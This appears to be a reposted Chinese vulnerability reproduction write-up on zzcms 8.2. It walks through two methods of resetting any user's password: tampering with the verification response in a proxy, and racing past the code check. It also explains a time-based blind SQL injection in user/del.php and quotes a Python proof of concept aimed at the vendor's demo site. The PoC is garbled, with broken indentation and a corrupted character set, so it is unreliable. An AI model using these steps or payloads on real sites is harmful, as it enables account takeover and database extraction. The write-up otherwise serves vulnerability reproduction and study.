zzcms8.2#任意用户密码重置#del.php时间盲注#复现

Posted ak47boom

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了zzcms8.2#任意用户密码重置#del.php时间盲注#复现相关的知识,希望对你有一定的参考价值。

00x0 引言

  早上起来,发现seebug更新了一批新的洞,

技术分享图片

   发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~)

   环境:zzcms8.2(产品招商型)

     php-5.4.45

.    mysql-5.5.53

01x0 任意用户密码重置

  01x1 任意用户密码重置方式一

    话说,这个洞的标题应该是任意前台用户密码重置,后台管理员重置不了的,或许是我复现的问题.~~

    先注册个账号,然后首页点击找回密码.

    地址:http://localhost/one/getpassword.php

    技术分享图片

      这里还存在用户遍历,如果存在该用户,那么返回在前端页面的就是如上所述的正确的状态

      技术分享图片

 

       技术分享图片

      回到主题,输入验证码后点击下一步,进入下一个状态.

      技术分享图片

 

         

  不用点击获取验证码,随意输入任意数字,直接点击下一步,抓包

               技术分享图片

      获取响应包

  技术分享图片

  把no改为yes,然后forward,到这里你会发现前端页面没什么变化

  再看抓包工具,你会看到这个包

  技术分享图片

     这个明显就是验证码成功的包,直接forward.

技术分享图片

输入新密码,直接重置.

技术分享图片

技术分享图片

重置成功

01x2 任意用户密码重置方式二

  这个,是最简单的,根本不用抓包.

  拿demo站做测试.

  技术分享图片

下一步,

技术分享图片

会看到,这个,然后不用选择验证方式,不用点击获取验证码,随便输入任意数字,直接点击下一步.

技术分享图片

一定快速输入,不然会发包后端会做验证,在显示

技术分享图片

这样的红色警告字符之前点击下一步

技术分享图片

直接跳转到修改密码处,

技术分享图片

技术分享图片

技术分享图片

 

02x0 del.php 时间盲注

这个在freebuf被某个师傅发出来过,我这就做简单的分析

http://www.freebuf.com/vuls/161888.html

user/del.php 13行

技术分享图片

 

这里两个post参数都是未做处理,传进来之后直接格式化了.

再到136行

技术分享图片

 

直接带入查询了.贴上大牛的poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = ‘[email protected]_.‘    #匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ‘‘
for i in range(1, 2):
        for payload in payloads:    #遍历取出字符
                startTime = time.time()
                post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
                response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
if time.time() - startTime > 5:
                        user = payload
print ‘user is:‘, user
break
print ‘\\n[Done] current user is %s‘ % user

 

以上是关于zzcms8.2#任意用户密码重置#del.php时间盲注#复现的主要内容,如果未能解决你的问题,请参考以下文章

任意用户密码重置:重置凭证可暴破

任意用户密码重置:重置凭证未校验

任意用户密码重置:重置凭证接收端可篡改

逻辑漏洞之任意账号密码重置总结

任意用户密码重置

任意用户密码重置的10种常见姿势